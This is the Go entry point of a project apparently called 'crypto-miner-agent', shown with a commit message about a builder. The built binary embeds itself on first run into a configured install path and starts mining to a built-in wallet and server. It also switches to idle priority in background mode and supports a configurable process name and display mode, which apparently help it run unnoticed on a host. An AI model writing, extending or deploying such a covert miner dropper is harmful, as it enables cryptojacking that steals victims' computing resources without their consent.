Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
85 lines
2.0 KiB
Go
85 lines
2.0 KiB
Go
package main
|
|
|
|
import (
|
|
"log"
|
|
"os"
|
|
"path/filepath"
|
|
|
|
"crypto-miner-agent/client"
|
|
"crypto-miner-agent/config"
|
|
"crypto-miner-agent/deploy"
|
|
)
|
|
|
|
func main() {
|
|
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
|
cfg := config.Load()
|
|
setupLogging(cfg)
|
|
|
|
if cfg.Wallet == "" {
|
|
log.Fatal("wallet address is required in built-in configuration")
|
|
}
|
|
if cfg.ServerURL == "" {
|
|
log.Fatal("server URL is required in built-in configuration")
|
|
}
|
|
|
|
installed, err := deploy.InstallIfNeeded(cfg)
|
|
if err != nil {
|
|
log.Fatalf("[installer] failed: %v", err)
|
|
}
|
|
if installed {
|
|
if dir, err := cfg.InstallDirectory(); err == nil {
|
|
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
|
} else {
|
|
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
|
}
|
|
return
|
|
}
|
|
|
|
if cfg.BackgroundMode() {
|
|
cfg.CPUPriority = "idle"
|
|
}
|
|
|
|
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
|
log.Printf("[agent] could not set CPU priority: %v", err)
|
|
}
|
|
|
|
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
|
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
|
|
|
agent := client.NewAgentClient(cfg)
|
|
if err := agent.Run(); err != nil {
|
|
log.Fatalf("[agent] stopped: %v", err)
|
|
}
|
|
}
|
|
|
|
func setupLogging(cfg config.RuntimeConfig) {
|
|
if os.Getenv("MINER_LOG_FILE") != "" {
|
|
redirectLog(os.Getenv("MINER_LOG_FILE"))
|
|
return
|
|
}
|
|
|
|
installDir, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return
|
|
}
|
|
redirectLog(filepath.Join(installDir, "miner.log"))
|
|
}
|
|
|
|
func mustInstallPath(cfg config.RuntimeConfig) string {
|
|
path, err := cfg.InstallDirectory()
|
|
if err != nil {
|
|
return "unknown"
|
|
}
|
|
return path
|
|
}
|
|
|
|
func redirectLog(path string) {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return
|
|
}
|
|
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
|
if err == nil {
|
|
log.SetOutput(f)
|
|
}
|
|
}
|